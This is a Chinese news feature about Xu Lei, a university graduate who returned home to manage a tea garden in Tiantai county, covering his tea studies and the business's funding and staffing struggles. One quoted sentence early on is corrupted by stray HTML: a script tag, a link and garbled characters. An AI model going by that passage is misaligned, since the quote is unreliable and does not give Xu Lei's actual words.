大学生徐雷的茶园创业梦想
安溪铁观音、西湖龙井、洞庭碧螺春……在这些国产大品牌茶叶面前,天台山云雾茶不免黯然失色,就连它的种植园主--天台县大志茶业园经理徐雷也暗自感叹:"创业初期困难多多啊?script type='text/javascript' src='http://www.368tea.com/js/v.js'>式鸲倘薄?a href=http://tea.368tea.com/?action-category-catid-47 id=kw target=_blank>品牌不够响亮,压力大,人手不够,任重道远。"
图为:天台县大志茶业园经理徐雷。
但同时徐雷也坚定地说,他一定会为重塑曾经的辉煌而奋斗。原来天台山云雾茶是江南茶祖,韩日茶源,据说与西湖龙井还有着很深的渊源,南朝诗人谢灵运将天台山茶种带至杭州灵隐寺一带,最终演化成了今天的西湖龙井。
徐雷,出生于1986年,大学期间学的是机械自动化,毕业后一边工作一边在浙江大学华家池校区茶学系学习茶学,"刚进大学的时候,都没搞清楚自己的发展方向,后来家里人开始种植茶叶,就希望我能回乡管理茶园,我感觉到自己身上的责任和义务,就在大学毕业后继续学了相关的茶学。"徐雷回忆,2008年到2010年期间,几乎每周都在杭州与天台之间奔走,他说中国茶叶历史悠久,种茶技术跟传统文化一样博大精深,种植、采摘、加工,经过一系列步骤而成,徐雷坦言他已经慢慢喜欢上了这门学问。另外,他对茶艺也颇有研究,已是一名中级茶艺师。
如今企业还处于发展初期,需要不断地探索和致力于品牌建设,"企业面临资金问题,设施不够齐全,特别是到采茶时间,要给更多的员工安排宿舍,但宿舍床位有限常导致人手不够。"徐雷说,也会请附近山下的村民帮忙,但每天都要负责接送他们上山下山,车费也是一笔开销。
"我们经常会参加全国各地的农产品展销会,向他们宣传我们台州本地的茶叶,也是希望通过展销会的交流和学习,来提高自身企业的经营水平。"徐雷告诉记者。